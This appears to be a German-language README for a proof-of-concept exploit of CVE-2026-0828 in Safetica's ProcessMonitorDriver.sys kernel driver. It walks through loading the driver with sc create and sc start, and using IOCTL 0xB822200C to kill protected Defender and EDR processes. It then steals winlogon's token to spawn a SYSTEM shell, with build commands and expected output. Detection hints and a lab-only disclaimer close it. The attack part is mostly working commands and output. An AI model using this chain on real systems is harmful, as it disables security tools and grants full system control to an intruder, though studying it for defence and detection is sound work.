
Proof-of-Concept-Exploit für CVE-2026-0828, eine BYOVD-Sicherheitslücke in Safetica ProcessMonitorDriver.sys, die es unprivilegierten Benutzern ermöglicht, PPL-geschützte Prozesse zu beenden und eine lokale Rechteausweitung auf SYSTEM durch Missbrauch von IOCTLs und Token-Duplikation zu erreichen.
Safetica DLP Kernel-Treiber (ProcessMonitorDriver.sys) legt eine nicht authentifizierte IOCTL frei, die es jedem Benutzermodus-Aufrufer ermöglicht, beliebige Prozesse über ZwTerminateProcess im Kernel-Kontext zu beenden und dabei den PPL-Schutz (Protected Process Light) zu umgehen.
CVSS: 8.8 (Hoch) · Typ: BYOVD, LPE · Plattform: Windows x64
Der IRP_MJ_DEVICE_CONTROL-Handler für IOCTL 0xB822200C ruft ZwOpenProcess mit PROCESS_ALL_ACCESS (0x1FFFFF) und anschließend ZwTerminateProcess auf, wobei eine PID verwendet wird, die direkt aus dem Eingabepuffer stammt – ohne jegliche Privileg- oder Aufruferüberprüfung.
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
Da der Aufruf im Kernel-Kontext erfolgt, können PPL-geschützte Prozesse (Windows Defender, EDR-Agenten) beendet werden.
Betroffene Versionen: Safetica < 11.26.19 / < 10.5.150
Behoben in: Safetica 11.26.19, 11.29.8, 10.5.150 – Privilegprüfung zum IOCTL-Handler hinzugefügt
Referenzen: KOSEC Advisory · CERT VU#818729
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| Datei | Beschreibung |
|---|---|
exploit.c | Vollständiger PoC – beendet EDR, startet NT AUTHORITY\SYSTEM cmd.exe |
Erfordert Visual Studio (x64 Native Tools Command Prompt):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Schritt 1 – Treiber laden (Administrator-CMD):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Schritt 2 – PoC ausführen:
exploit.exe
Erwartete Ausgabe:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
Ein neues cmd.exe-Fenster öffnet sich als NT AUTHORITY\SYSTEM.
Ereignis-ID 7045 – neue Kernel-Dienstinstallation:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
WDAC-Blockliste (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: Überwachen Sie DeviceIoControl-Aufrufe an \\.\STProcessMonitorDriver.
Nur für autorisierte Sicherheitsforschung und Labornutzung. Nicht gegen Systeme verwenden, die Ihnen nicht gehören oder für die Sie keine schriftliche Erlaubnis zum Testen haben.